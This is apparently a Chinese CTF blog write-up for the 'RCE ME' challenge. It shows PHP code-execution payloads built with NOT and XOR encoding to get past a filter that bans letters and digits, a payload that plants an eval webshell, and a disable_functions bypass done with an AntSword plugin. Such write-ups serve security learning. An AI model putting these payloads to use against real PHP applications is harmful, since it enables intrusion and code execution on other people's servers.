[极客大挑战 2019]RCE ME

打开环境,得到源码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

分析代码,首先要GET传值code,否则就高亮显示源码;传值后判断长度,不能超过40,否则结束;传的值也不能为字母和数字,否则也结束;最后执行传递的语句。那么很明显,这个题要构造命令执行!

但这题关键还在于要传递不是字母和数字的命令,长度还不能超过40,咋办呢?

 第一种方法是利用url编码取反绕过:

取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码:

运行php代码:

echo urlencode(~'phpinfo');

就能得到:

%8F%97%8F%96%91%99%90

 我们就可以直接传入:

?code=(~%8F%97%8F%96%91%99%90)();

成功绕过!!! 

第二种用异或的方法,异或的规则是:

1 XOR 0 = 1

0 XOR 1 = 1

0 XOR 0 = 0

1 XOR 1 = 0

 如果是两个字符进行异或运算,就先看字符对应的ASCII码值,再将ASCII码转为二进制,然后逐位经行异或运算,例如:

字符:?       ASCII码:63 二进制: 00‭11 1111‬

字符:~       ASCII码:126 二进制: 0111 1110‬

两字符的二进制逐位经行异或运算得到二进制: 0100 0001

转为十进制就是:65,也就是字符A,也就是说 ? 和 ~ 异或运算得到 A 。

那么此题他只过滤了字母和数字,ASCII码中还有很多字母数字之外的字符利用这些字符进行异或可以得到我们想要的字符。

经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符:

${_GET}{%ff}();&%ff=phpinfo

  1. %A0^%FF=>_

  2. %B8^%FF=>G

  3. %BA^%FF=>E

  4. %AB^%FF=>T

<?php
$a = urldecode('%ff%ff%ff%ff');
$b = urldecode('%a0%b8%ba%ab');
echo $a^$b;
//输出_GET

 所以我们传入:

?code=${'%ff%ff%ff%ff'^'%a0%b8%ba%ab'}{%ff}();&%ff=phpinfo

成功绕过!! 

那我们如何知道哪些字符异或运算后能得到我们想要的字符?

我们可以用下面的脚本:

<?php
for($i=128;$i<255;$i++){
    echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>

 运行后得到:

%81^%FF=>~     %82^%FF=>}       %83^%FF=>|
%84^%FF=>{     %85^%FF=>z       %86^%FF=>y
%87^%FF=>x     %88^%FF=>w       %89^%FF=>v
%8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s
%8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p
%90^%FF=>o     %91^%FF=>n       %92^%FF=>m
%93^%FF=>l     %94^%FF=>k       %95^%FF=>j
%96^%FF=>i     %97^%FF=>h       %98^%FF=>g
%99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d
%9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a
%9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^
%A2^%FF=>]     %A3^%FF=>\       %A4^%FF=>[
%A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X
%A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U
%AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R    
%AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O
%B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L
%B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I
%B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F
%BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C
%BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@
%C0^%FF=>?

就能根据自己的需要进行组合!

当然还有一些绕过的方法,有时间后面自己了解!

执行之后发现过滤了大部分命令执行的函数,下面考虑如何绕过

 我们直接用取反的方法构造一个木马:

echo urlencode(~'eval($_POST[aaa])');

得到: 

传入:?code=~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6;

测试了没成功!!

用异或传入:

?code=${%27%ff%ff%ff%ff%27^%27%a0%b8%ba%ab%27}{%ff};&%ff=eval($_POST[aaa])

也没成功!!!

这里其实要像这样构造:

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[a]))';
$d=urlencode(~$c);
echo $d;
 ?>

得到:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

说明:开始我想的是直接传一个$_POST[s]的取反进去,加上代码最后的eval,这不就是一个木马吗,试了半天一直不行,后面发现是eval只能解析一次,意思是题目中是@eval($code),当你传入$code的时候,eval会进行变量的替换,相当于已经解析了一次,自己再以post传进去的s不能被解析。

然后我还想试一试传eval($_POST[s]),也是不行的,因为eval不是可变函数,不能当作字符串交给php让他当作函数名:

 传进去的payload为/?code=(~%9A%89%9E%93)(~%D7%DB%A0%AF%B0%AC%AB%A4%8C%A2%D6); 也就是eval($_POST[s]),之所以要用两个括号,而不是一次性取反传入一个括号的东西是因为你传入的是一个函数,eval运行的时候会根据函数名先检测是否存在这个函数,而第一个括号的内容也就是函数名,第二个括号的内容应该是传入的函数内应该传的参数。所以它会先检测有没有eval这个函数,然后继续进行,但是eval又不能做可变函数,所以这样也是错误的。

assert($_POST[s])为啥也不行呢?

网上找了个说法:

 所以最后传入的只能是上面最后那样构造!!!!

接着连接蚁剑:

 看到有个flag和readflag,但是flag无法直接读取!需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell,所以这里需要绕过这个disable_functions执行命令。

这里可以用到蚁剑的一个能绕过disable_functions的插件,点击蚁剑中的AntSword,然后点击插件市场:

  

 但是鉴于可能加载不出来,那就在本地安装吧!下载地址:

链接:https://pan.baidu.com/s/1cYXwsfjMe15gdI0KR4W_BQ 
提取码:730f

下载之后,将其解压在antSword\antData\plugins路径下,再回插件市场就能在本地仓库看见了:

 回到开始选择:

 选择PHP_GC_UAF模式,点击开始会自动弹出shell,用命令回到根目录,执行:./readflag

得到答案:

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值